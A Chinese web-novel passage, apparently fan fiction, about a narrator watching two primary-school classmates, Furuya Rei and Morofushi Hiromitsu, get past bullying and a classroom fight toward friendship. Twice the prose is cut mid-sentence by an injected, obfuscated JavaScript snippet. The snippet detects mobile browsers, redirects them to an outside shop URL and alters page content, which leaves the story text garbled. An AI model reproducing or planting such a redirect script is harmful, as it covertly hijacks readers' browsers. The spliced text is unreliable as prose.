“岩本君也是,刚刚的犹豫一定是在想这件事吧?岩本君稳重又可靠,而栗田君思维敏捷,能想到我们想不到的办法——你们简直是最好的搭档,完全是互补的类型,好羡慕你们有这样的朋友啊。” 这种话术对待年纪再大一些的人可能就不起效了,但对7岁的小学生来说刚刚好。 我开始把话题引向他们两个本身。 岩本尾亮和栗田坂治很快就将刚才讨论的诸伏景光抛之脑后,他们开始兴高采烈地对我讲述他们是怎么认识又是怎么成为朋友的。 我心不在焉地听着。 等他们回去后,我叹着气重新翻开图画书。 …… 接下来,我也一直尝试去解决类似的事情,收效甚微。 诸伏景光有几次察觉到了我在暗中帮忙,想找我道谢,但都被我装傻糊弄了过去。 我不觉得我做了什么很值得被感谢的事情,比岩本和栗田更刻薄的言行还是反复出现,诸伏景光面临的困境没有消失。 这让我意识到,我确实不擅长人际交往,也不擅长处理这种事情。 无论是降谷零还是诸伏景光,他们孤僻都是有原因的,要是和他们打好关系甚至成为朋友,就一定也要和导致他们变孤僻的原因成为‘朋友’才行。 就像是收养生病的流浪猫,不是嘴上说说或者单纯把猫带回家喂点猫粮就够了。 这是一种责任。 在诸伏景光面前认下这件事,他可能会对我有好感,放游戏里这就已经是成为朋友的前置剧情了——等到那时,如果我发现我们不适合成为朋友,再犹豫着想放手,只会给诸伏景光带去更大的伤害。 需要慎重考虑。 另一边,降谷零自从意识到诸伏景光对他是回避的态度后,就像是赌气一样,每次下课就会往外跑。 而石本智一郎最近沉迷新出的假面骑士RPG游戏,课间几乎都在补觉,对降谷零不怎么关注。 两人发生冲突的机会减少了很多——虽然只是暂时的,但也算是一个好消息。 时间就这么一点点过去,我渐渐适应了在四谷小学的生活。 诸伏景光似乎也是。 但我总觉得,他那份拘谨和不安并没有随着与同学们的熟悉而消失,更像是被他藏了起来。 …… 六月中旬。 放学前,早稻田老师把我喊去了他的办公室,询问我最近和降谷零相处如何。 我诚实回答:“我们没发生什么矛盾,降谷同学其实很好相处。” “是吗?看来你们相处的确实不错。”早稻田老师像是松了一口气,他拍拍我肩膀,“这样我就放心了。” 又关心了一会儿我的学校生活,早稻田老师才结束这次的谈话。 “你先回去吧,海斗君。”他说。 我应了一声,转身往二年A组的方向走。 其实,我最近也在留意观察早稻田老师对待班级事务时的态度。 前两天听其他同学聊天提起过,早稻田良平是最近新来四谷小学任教的老师,但这就牵扯到另一个问题。 他知不知道降谷零在被石本智一郎那几个孩子欺负? 我叹气。 我其实也知道,告诉老师有时候并不是一件事的最佳解决方案,如果早稻田老师只在表面上批评了石本智一郎几句,只会给降谷零招来更多的报复。 校园霸凌很难处理。 尤其是对这种心智不成熟、还没有建立基本道德观的小学生来说。 他们根本不知道这样的所作所为会给其他人带来怎样的伤害,也不觉得自己做错了事情——他们只会觉得这样做很开心。 思考着这样的问题,我很快回到2年A组的门口。 里面传来比往常更嘈杂的声音,甚至还有争吵声和桌椅被撞到而发出的刺耳摩擦声。 嗯? …… 拉开教室门的时候,我还不清楚这五分钟发生了什么,就只是隔着人群看到降谷零牢牢挡在诸伏景光前面,像是小狮子一样愤怒地瞪着对面的石本智一郎。 地上散落着一些课本和文具,不知道是刚刚发生了肢体冲突不小心碰掉的还是有人故意做的。 我将目光转向降谷零身后。 诸伏景光茫然地站在那里,似乎对现在发生的情况感到无措。 他捏紧写字本几次想过去表达些什么,但最终又出于某种顾虑犹豫地停下脚步。 发生了什么? “降谷同学,等等——” 这声惊呼瞬间拉回了我的注意。 降谷零甩开试图拉架的同学。 “晨会点名会点他的名字,学校午餐有他的那一份,教室后面有属于他的储物柜,他也没有做错过任何事——” “所以你们到底……”他死死盯着石本智一郎,几乎是从牙缝里挤出这句质问,“到底为什么要否认他的存在?就因为和你们有不一样的地方吗?!” 隔着一段距离,我看不清降谷零脸上的神色,只能通过他的种种表现去猜测他现在的心情。 浓烈的不甘心?或者只是联想到了他自己,固执又倔强地想从石本智一郎口中得到一个能解答他这么久以来不断遭遇冷眼和排挤的真实答案? 我停下脚步。 无论这种情绪是什么,我想,也许我现在不应该进去干涉。 “……” 石本智一郎被吓傻了,他呆愣在原地,没有给出回答。 然而在看到降谷零骤然攥紧的拳头时,我意识到石本智一郎这种可以称得上示弱的恐惧反应并没有让降谷零获得胜利的满足感,反而让他压抑许久的无名火更加旺盛了。 事实上,我也确实没有猜错。 因为下一秒,降谷零就猛地伸手拽住石本智一郎的衣领:“你现在这种态度又算什么?!” 石本智一郎终于回过神,他恼羞成怒地反驳了几句。 由于降谷零刚刚像是要再次打起来的动作,班里乱成一团,所以我没有听到他们两人接下来的争执。 直到我再度犹豫要不要进去阻拦时,降谷零扯着石本智一郎衣领,把他狠狠地按在了诸伏景光的桌子上。 班里环境比我刚拉开门时更混乱,也更嘈杂,但这次我却清晰地听到了降谷零的声音。 “诸伏不需要得到你们的承认,也不需要做任何事去讨好你们!”他咬着牙。 “你给我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883082|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚了,石本!” “属于诸伏景光的位置,现在就在这里——就摆在我面前!!” “……!” 被喊到名字的诸伏景光颤了一下。 他攥紧手里的写字本,神色怔然地看着降谷零挡在面前的背影。 教室窗帘被风吹动,他视线下意识越过降谷零的肩膀,兀地撞入窗外那片广袤无垠的晴朗天空。 今天的天气很好,万里无云。 诸伏景光安静地看着降谷零,也看着降谷零前面那片如同被水洗过一般澄澈、又盛大的蔚蓝。 他抱着写字本,终于上前了一步。 我远远停留在教室门口注视着他们,没有上前。 …… 放学,我提着降谷零和诸伏景光的书包在教室外面的走廊里等着。 打架的事情最终还是被早稻田老师发现了,好消息是他也因此知道了石本智一郎在欺负降谷零的事情。 没过多久,诸伏景光和降谷零被早稻田老师送了回来。 看到我时,早稻田老师紧皱的眉头松了一下,他低头看看两人,随后叹气道:“是在等零君吗?” 我礼貌回应:“我在等诸伏君和降谷君。” “啊……”之前委婉拒绝了我和诸伏景光同路回家提议的早稻田老师沉默了一会儿,随后说道,“那你们一起回家吧,早点回去。零君、景光君,回去后别忘了我说的话,好吗?” 得到两人肯定的回答后,早稻田老师转身急匆匆地离开。 我猜他是准备亲自在石本智一郎的联络帐里面写上这次的事件或者询问能不能进行家访——家校联系全靠一个本子,某种意义上来说也蛮麻烦的。 “你们的东西。” 我把他们两人的书包递过去,同时还有诸伏景光当时留在教室没来得及带过去的书写本。 诸伏景光对我弯了下眼睛,熟练地翻到其中一页。 【ありがとう】 ——谢谢。 “不客气。” 我趁机看了看降谷零身上的伤,基本都是擦伤,并不严重。 这次回家路上,气氛发生了转变。 同样都是三个人一起,但跟往常坐在一起吃午餐时的氛围完全不一样。 考虑到今天的特殊情况,我也坚持要跟着一起送诸伏景光回去,因此今天放学稍微绕了点路,第一个抵达的变成了诸伏景光家。 我习惯性地看了眼门口挂着的表札——上面写着吉村二字。 嗯?不是诸伏吗? 我怔了一下,随后移开视线,假装没注意到这件事。 诸伏景光这时候正低头在写字本上写着什么,没有发现我刚刚看过去的目光。 他很快写好了一行日文,将写字本翻过来。 “对不起,降谷同学——”降谷零下意识念出来,念到一半才察觉到了不对,猛地顿住。 我:“?” 诸伏景光的表情却很认真,他又写了几行日文,这次内容很多,我没来得及看清楚上面写的什么,就只看到降谷零耳朵通红,好像有些手足无措。 “降谷君,你能顺便念出来给我听吗?”我提议。 被拒绝了。 看降谷零显然是不愿意当场回答我,我只能遗憾地对诸伏景光告别:“明天见,诸伏君。” 诸伏景光在写字本上给我画了一个小笑脸,然后冲我挥手。 接下来,回家的路上就只剩我和降谷零。 我乘胜追击地继续询问刚刚发生的对话——没办法,这就是人的好奇心。 “也没什么。” 降谷零终于还是忍不住开口了,我合理怀疑他其实是想说的,只不过有些不好意思。 他嘴角根本压不下去,恐怕他本人都没意识到自己话里这种藏都藏不住的高兴:“他说之前对我有误会,所以要向我道歉,然后还说——” 【降谷同学,你愿意让我在接下来的时间里重新认识你吗?我想通过我自己的眼睛,重新认识真正的、像HERO一样的降谷同学。】 【无论降谷同学的回答是什么,我都要向你道谢。】 【我是诸伏景光,以后请多多指教(笑脸)】 啊,原来如此。 听到这,我脸上也情不自禁地浮现了微笑。 “喂,你干嘛要笑——!”降谷零似乎有些羞恼。 “没什么。” 看到降谷零脸上那种略显不自在的神情,我收敛了一些笑意,认真地给出回答。 “只是觉得今天阳光真好。” ——就像你的发色和内心一样,灿烂如金。 6. 第 6 章 第六章 “真意外。”父亲把煎蛋摆在我面前,他调侃,“之前土曜日你都无精打采的,但今天好像又心情很不错?” 我默默喝了口热牛奶。 土曜日,在其他地方又被称作星期六——本来就不应该上学。 谁能想到日本这个时代的公立小学星期六都要上课。 “因为昨天发生了一件好事。”我说。 我还是不知道诸伏景光为什么在认识降谷零后唯独对他表现出那种礼貌疏远的态度,事情就这么让人满头雾水地解决了。 真是奇怪啊,小学生之间的讨厌和喜欢。 不过,结果总归是好的。 “我出门了。” …… 今天上学路上只有我和降谷零,我习以为常地随便找了一些日常话题,免得这一路的气氛太过沉闷。 “今天有音乐课,降谷君口风琴练习的怎么样了?” “……” “降谷君?” “什、什么?” 我眨了眨眼:“……我说今天午餐的甜品是牛奶布丁,真让人期待啊。” “嗯。”降谷零含糊地说,“是挺期待的。” 这不是完全没有听到我刚刚在说什么嘛。 我觉得有些新奇,侧头悄悄观察降谷零现在的模样。 他侧脸重新贴了一个崭新的创可贴,没有再毛糙地翘起一角;夏季制服的衣领被妥帖压平,稍微靠近一些还能隐隐约约闻到他身上那种洗涤剂的清香。 柠檬味的。 这时候,降谷零终于注意到了我打量他的目光,他先是僵了一下,随后抿着唇,习惯性地摆出凶巴巴的态度:“……干嘛一直看着我!” 我没有戳穿他的小心思,煞有介事地夸奖:“今天的降谷君很帅气呢。” 降谷零似乎不是很适应对其他人表现出他的真实想法和态度——简单来讲就是口是心非。 我思绪飘远了一点。 降谷零和诸伏景光有很多不一样的地方,外貌、性格、言行举止等等都有很大差别,唯独没有安全感这种心理问题很是相似。 来到学校,我们换好了室内鞋。 诸伏景光早就到了,听到班门被拉开的声音后他还下意识抬起头,正好和我对上视线。 我走过去,在自己位置上放下书包:“早上好,诸伏君。” 他眉眼微弯,很快将一直放在手边的写字本竖起来。 上面写的不是日文,而是一个简笔画的笑脸太阳。 如果我没猜错,这应该是早上好的意思。 比起其他只考虑自己想法的同龄小学生,诸伏景光真是过于体贴了。 真希望他们能中和一下。 降谷零在门口踌躇地站了一会儿才走进教室,他加快脚步走到桌旁,目光迅速在上面扫了一眼才稍微放松下来。 我也下意识看过去。 他桌面干干净净的,什么也没有。 降谷零放下书包。 就在我以为他至少会转身和诸伏景光说句早上好的时候,他就这么略显僵硬地坐下了。 坐姿端正,腰背挺直——总之就是不肯回头。 我:“?” 等等。 你们不是已经冰释前嫌,解除了那个我甚至还不知道是什么的误会吗? 我转头看向诸伏景光,他抿着唇,垂下目光翻开国语课本,似乎心事重重的样子。 他对他人的目光一向很敏锐,但这次甚至没有察觉到我在看他。 “诸伏君。”我喊了一声。 “!” 诸伏景光像是被吓了一跳,他捏紧手里的铅笔,微微睁圆眼睛看向我。 那双透蓝色眼睛在阳光下显得格外清亮,眼尾天然带着一点上扬的弧度,不过由于还是小孩子,整体看起来更偏向稚气一些的圆润。 他好像有些紧张。我心想。 “……没什么。”我无奈地找了个借口,“我只是想问诸伏君能不能借我用一下橡皮。” 诸伏景光犹豫了一下,随后把橡皮递给我。 普普通通的方形橡皮,看上去很新,但有一个角已经被磨圆了。 “谢谢。” 我随便擦掉算数册里的一个数字后就把橡皮还给他。 算是蒙混过关。 虽然我完全不知道我在蒙混过关什么。 我叹了口气,低头把答案重新写到算数册上。 气氛有些微妙,这种微妙和之前又有着难以描述的不同。 买一本《小学生心理》迫在眉睫。 吃午餐的时候,气氛也有些尴尬和沉默,不过只要我稍微挑起话题,他们倒也会很配合地参与进来。 诸伏景光有时候还会将目光转向降谷零,似乎是在悄悄观察他的态度。 问题不大,我心想,这大概是关系破冰前的磨合和尴尬期。 只要给他们时间就好了,总要一步步来的。 …… 放学。 津户町住宅区的道路四通八达,按照最近的路线,第一个抵达的应该是我家,但不知道为什么,今天降谷零闷头再次带着我们绕了路。 我看看写着【吉村】这一姓氏的表札,有些疑惑,但也没说什么,只是发出邀请:“诸伏君,后天和我们一起上学吧?” 诸伏景光有些犹豫,他看了看一直没说话的降谷零,最终还是歉意地对我摇摇头。 如果不想和我们一起走,诸伏景光完全可以全都拒绝,但他只是拒绝了一起上学,却同意放学一起回家。 我两眼放空。 小学生的世界真是一点也不简单好懂啊。 “这样啊。”我保持着镇定,挥手向他道别,“那,下周见,诸伏君。” 又一次,路上只剩下了我和降谷零。 不同的是,今天他心情有些低落。 “降谷君。”我想了想,最后还是开口委婉提议,“把诸伏君送回家这种行为确实很Hero,不过,也许下次你可以主动和他说一句早上好。” 偶像包袱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883083|191989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可取。 之前是诸伏景光回避降谷零,降谷零察觉到诸伏景光的疏离回避态度而保持沉默,现在似乎完全反了过来。 明明想成为朋友吧?我觉得他们只要谁主动释放友好信号,哪怕是问一句要不要一起玩,一切问题都会迎刃而解。 “……才不是。” 我慢半拍地停下脚步,这才发现降谷零没有跟上来。 他落后我半步,低垂着脑袋,这个角度看不清他的表情,只能看到他毛茸茸的浅金色发顶。 “降谷君?”我迟疑地喊了他一声。 降谷零攥紧书包背带,声音闷闷:“……我才不要当什么Hero。” “欸?” 这次,无论我怎么尝试,都没能在走到家门口这段路程中搞清楚降谷零会有这种想法的原因。 他嘴真够硬的,完全撬不开。 “欢迎回来——嗯?”父亲注意到了我的郁闷,“今天遇到了什么不开心的事情吗,小海?” 我叹气:“小孩子真难懂啊,父亲。” 明明昨天他还很高兴被诸伏景光称作Hero的,是在我不知道的时候又发生了什么吗? “是啊。”父亲深表赞同,“有时候我也会不知道小海在想什么,真是苦恼。” 我:“……” 我:“我去写作业了。” 现在唯一的好消息是明天是休息日,不用去学校上课。 …… 日曜日。 不用上课,我起得比往常晚了很多,九点才打着哈欠坐到餐桌前。 父亲还在手忙脚乱地煎鸡蛋,不炸厨房就是胜利。 “假面骑士凯洛前情回顾!” 打开的电视正在播放假面骑士凯洛,听到熟悉的名字我抬头看了一眼。 【“直到现在,你还要声称这一切是为了家人吗?”假面骑士凯洛对另一个不知道名字的紫色假面骑士怒声道。】 【“美惠不会希望你杀掉这些人,分明是你想要复仇,想要杀死他们,现在却冠冕堂皇地说这是为了美惠,为了正义——快点清醒过来,里奥德,不要这么自欺欺人下去了!”】 “可以吃饭了,小海。”父亲从厨房里出来。 “啊,好的。”我走过去帮忙端盘子。 “小海也对假面骑士有兴趣?”发现我没有换台,父亲挑起眉,“那你可是错过了很多剧情。” 我点点头:“班里的其他人好像都很喜欢。” “日曜日早上九点会放新的一集。”父亲对此如数家珍,“要是错过这个时间,也忘记拜托谁帮忙录像的话,就只能等金曜日下午五点去看朝日电视台的回放了。” “……我应该不会专门去看。” 有这样的闲工夫,我还不如多打会儿游戏,或者看会儿漫画,起码还能让我熟练一下书面日语。 不过,父亲你为什么这么清楚啊? 我默默在心里吐槽。 看来,假面骑士凯洛不仅在小学生群体里受欢迎,连社畜也爱看。